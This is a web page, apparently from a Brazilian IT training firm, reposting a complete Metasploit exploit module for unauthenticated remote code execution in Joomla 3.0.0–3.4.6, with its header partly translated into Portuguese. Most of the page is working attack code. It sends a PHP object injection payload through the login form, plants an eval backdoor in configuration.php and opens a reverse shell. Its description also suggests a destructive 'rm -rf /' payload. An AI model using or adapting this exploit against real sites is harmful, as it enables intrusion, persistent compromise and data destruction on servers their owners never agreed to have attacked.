fbpx

Joomla! 3.4.6 – Remote Code Execution (Metasploit)

Joomla! 3.4.6 – Remote Code Execution (Metasploit)

 

# Título da Exploração: Joomla! 3.4.6 – Execução remota de código (Metasploit)
# Google Dork: N / A
# Data: 2019-10-02
# Exploit Autor: Alessandro Groppo
# Página inicial do fornecedor: https // www.joomla.it /
# Link do software: https://downloads.joomla.org/it/cms/joomla3/3-4-6
# Versão: 3.0.0 -> 3.4.6
# Testado em: Linux
# CVE: N / D

# Este módulo requer Metasploit: https://metasploit.com/download
# Fonte atual: https://github.com/rapid7/metasploit-framework
##

 

lass MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Joomla

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Rusty Joomla Unauthenticated Remote Code Execution',
      'Description'    => %q{
A injeção de objetos PHP devido a um tamanho reduzido no processo de leitura / gravação com o banco de dados leva ao RCE.
A exploração fará uma backdoor do arquivo configuration.php no diretório raiz com a avaliação de um parâmetro POST.
Isso ocorre porque a exploração é mais confiável (não depende da função desativada comum).
Por esse motivo, use-o com cuidado e lembre-se da limpeza da casa.
Aliás, você também pode editar essa exploração e usar a carga útil que desejar. basta modificar o objeto de exploração com
get_payload('you_php_function','your_parameters'), e.g. get_payload('system','rm -rf /') and enjoy
      },
      'Author'	=>
        [
          'Alessandro \'kiks\' Groppo @Hacktive Security', 
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
		['URL', 'https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41'],
		['URL', 'https://github.com/kiks7/rusty_joomla_rce']
        ],
      'Privileged'     => false, 
      'Platform'       => 'PHP',
      'Arch'           => ARCH_PHP,
      'Targets'        => [['Joomla 3.0.0 - 3.4.6', {}]],
      'DisclosureDate' => 'Oct 02  2019',
      'DefaultTarget'  => 0)
    )

    register_advanced_options(
      [
        OptBool.new('FORCE', [true, 'Force run even if check reports the service is safe.', false]),
      ])
  end

  def get_random_string(length=50)
  	source=("a".."z").to_a + ("A".."Z").to_a + (0..9).to_a 
	key=""
	length.times{ key += source[rand(source.size)].to_s }
	return key
  end

  def get_session_token
	# Get session token from cookies
	vprint_status('Getting Session Token')
	res = send_request_cgi({
		'method' => 'GET',
		'uri' 	 => normalize_uri(target_uri.path) 
	})
	
	cook = res.headers['Set-Cookie'].split(';')[0]
	vprint_status('Session cookie: ' + cook)
	return cook
  end

  def get_csrf_token(sess_cookie)
	  vprint_status('Getting CSRF Token')

	  res = send_request_cgi({
		'method' => 'GET',
		'uri'	 => normalize_uri(target_uri.path,'/index.php/component/users'),
		'headers' => {
			'Cookie' => sess_cookie,
		}
	  })

	  html = res.get_html_document
	  input_field = html.at('//form').xpath('//input')[-1]
	  token = input_field.to_s.split(' ')[2]
	  token = token.gsub('name="','').gsub('"','')
	  if token then
		  vprint_status('CSRF Token: ' + token)
		  return token
	  end
	  print_error('Cannot get the CSRF Token ..')

  end

  def get_payload(function, payload)
	  # @function: The PHP Function
	  # @payload: The payload for the call
	  template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
	  # The http:// part is necessary in order to validate a condition in SimplePie::init and trigger the call_user_func with arbitrary values
	  payload = 'http://l4m3rz.l337/;' + payload
	  final = template.gsub('PAYLOAD',payload).gsub('LENGTH', payload.length.to_s).gsub('FUNC_NAME', function).gsub('FUNC_LEN', function.length.to_s)
	  return final
  end

 
  def get_payload_backdoor(param_name) 
	# return the backdoor payload
	# or better, the payload that will inject and eval function in configuration.php (in the root)
	# As said in other part of the code. we cannot create new .php file because we cannot use 
	# the ? character because of the check on URI schema
	function = 'assert'
        template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'                                                             
        # This payload will append an eval() at the end of the configuration file                                                                            
        payload =  "file_put_contents('configuration.php','if(isset($_POST[\\'"+param_name+"\\'])) eval($_POST[\\'"+param_name+"\\']);', FILE_APPEND) || $a=\'http://wtf\';"
	template['PAYLOAD']  = payload 
	template['LENGTH']   = payload.length.to_s
	template['FUNC_NAME'] = function 
	template['FUNC_LEN'] = function.length.to_s
        return template 

  end


  def check_by_exploiting
	    # Check that is vulnerable by exploiting it and try to inject a printr('something')
	    # Get the Session anb CidSRF Tokens
	    sess_token = get_session_token()
	    csrf_token = get_csrf_token(sess_token)

	    print_status('Testing with a POC object payload')

	    username_payload = '\\0\\0\\0' * 9
	    password_payload = 'AAA";'						# close the prev object
	    password_payload += get_payload('print_r','IAMSODAMNVULNERABLE')	# actual payload 
	    password_payload += 's:6:"return":s:102:' 				# close cleanly the object
	    res = send_request_cgi({
			'uri'	   => normalize_uri(target_uri.path,'/index.php/component/users'),
			'method'   => 'POST',
			'headers'  => 
				{
				'Cookie' => sess_token,
			},
			'vars_post' => {
				'username' => username_payload,
				'password' => password_payload,
				'option'   => 'com_users',
				'task'	   => 'user.login',
				csrf_token => '1',
			}
	    }) 
	    # Redirect in order to retrieve the output
	    if res.redirection then
		res_redirect = send_request_cgi({
			'method' => 'GET',
			'uri'	 => res.redirection.to_s,
			'headers' =>{
				'Cookie' => sess_token
			}
		})

		if 'IAMSODAMNVULNERABLE'.in? res.to_s or 'IAMSODAMNVULNERABLE'.in? res_redirect.to_s then
			return true
		else
			return false
		end
		
	    end
    end

  def check
    # Check if the target is UP and get the current version running by info leak    
    res = send_request_cgi({'uri' => normalize_uri(target_uri.path, '/administrator/manifests/files/joomla.xml')})
    unless res
      print_error("Connection timed out")
      return Exploit::CheckCode::Unknown
    end

    # Parse XML to get the version 
    if res.code == 200 then
	    xml = res.get_xml_document
	    version = xml.at('version').text
	    print_status('Identified version ' + version)
	    if version <= '3.4.6' and version >= '3.0.0' then
		    if check_by_exploiting()
			return Exploit::CheckCode::Vulnerable
		    else
			if check_by_exploiting() then
			# Try the POC 2 times. 
				return Exploit::CheckCode::Vulnerable
			else
				return Exploit::CheckCode::Safe
			end
		    end
	    else
		    return Exploit::CheckCode::Safe
	    end
    else
	    print_error('Cannot retrieve XML file for the Joomla Version. Try the POC in order to confirm if it\'s vulnerable')
	    if check_by_exploiting() then
		    return Exploit::CheckCode::Vulnerable
	    else
		    if check_by_exploiting() then
			return Exploit::CheckCode::Vulnerable
		    else
		    	return Exploit::CheckCode::Safe
		    end
	    end
    end
  end



  
  def exploit
    if check == Exploit::CheckCode::Safe && !datastore['FORCE']
      print_error('Target is not vulnerable')
      return
    end


    pwned = false
    cmd_param_name = get_random_string(50) 

    sess_token = get_session_token()
    csrf_token = get_csrf_token(sess_token)

    # In order to avoid problems with disabled functions
    # We are gonna append an eval() function at the end of the configuration.php file
    # This will not cause any problem to Joomla and is a good way to execute then PHP directly
    # cuz assert is toot annoying and with conditions that we have we cannot inject some characters
    # So we will use 'assert' with file_put_contents to append the string. then create a reverse shell with this backdoor
    # Oh i forgot, We cannot create a new file because we cannot use the '?' character in order to be interpreted by the web server.

    # TODO: Add the PHP payload object to inject the backdoor inside the configuration.php file
    # 		Use the implanted backdoor to receive a nice little reverse shell with a PHP payload

    
    # Implant the backdoor
    vprint_status('Cooking the exploit ..')
    username_payload = '\\0\\0\\0' * 9
    password_payload = 'AAA";'						# close the prev object
    password_payload += get_payload_backdoor(cmd_param_name)		# actual payload 
    password_payload += 's:6:"return":s:102:' 				# close cleanly the object

    print_status('Sending exploit ..')


    res = send_request_cgi({
		'uri'	   => normalize_uri(target_uri.path,'/index.php/component/users'),
		'method'   => 'POST',
		'headers'  => {
			'Cookie' => sess_token
		},
		'vars_post' => {
			'username' => username_payload,
			'password' => password_payload,
			'option'   => 'com_users',
			'task'	   => 'user.login',
			csrf_token => '1'
		}
    }) 

    print_status('Triggering the exploit ..')    
    if res.redirection then
	res_redirect = send_request_cgi({
		'method' => 'GET',
		'uri'	 => res.redirection.to_s,
		'headers' =>{
			'Cookie' => sess_token
		}
	})
    end

    # Ping the backdoor see if everything is ok :/
    res = send_request_cgi({
		'method'     => 'POST',
		'uri'	     => normalize_uri(target_uri.path,'configuration.php'),
		'vars_post'  => {
			cmd_param_name  => 'echo \'PWNED\';' 
		}
	})
    if res.to_s.include? 'PWNED' then
	print_status('Target P0WN3D! eval your code at /configuration.php with ' + cmd_param_name + ' in a POST')

        print_status('Now it\'s time to reverse shell')
		res = send_request_cgi({
		'method'     => 'POST',
		'uri'	     => normalize_uri(target_uri.path,'configuration.php'),
		'vars_post'  => {
			cmd_param_name  => payload.encoded 
		}
	})
    end

  end
end
            

 

11 de novembro de 2019

Sobre nós

A Linux Force Brasil é uma empresa que ama a arte de ensinar. Nossa missão é criar talentos para a área de tecnologia e atender com excelência nossos clientes.

CNPJ: 13.299.207/0001-50
SAC:         0800 721 7901

[email protected]

Comercial  Comercial: (11) 3796-5900

Suporte:    (11) 3796-5900
[email protected]

Copyright © Linux Force Security  - Desde 2011.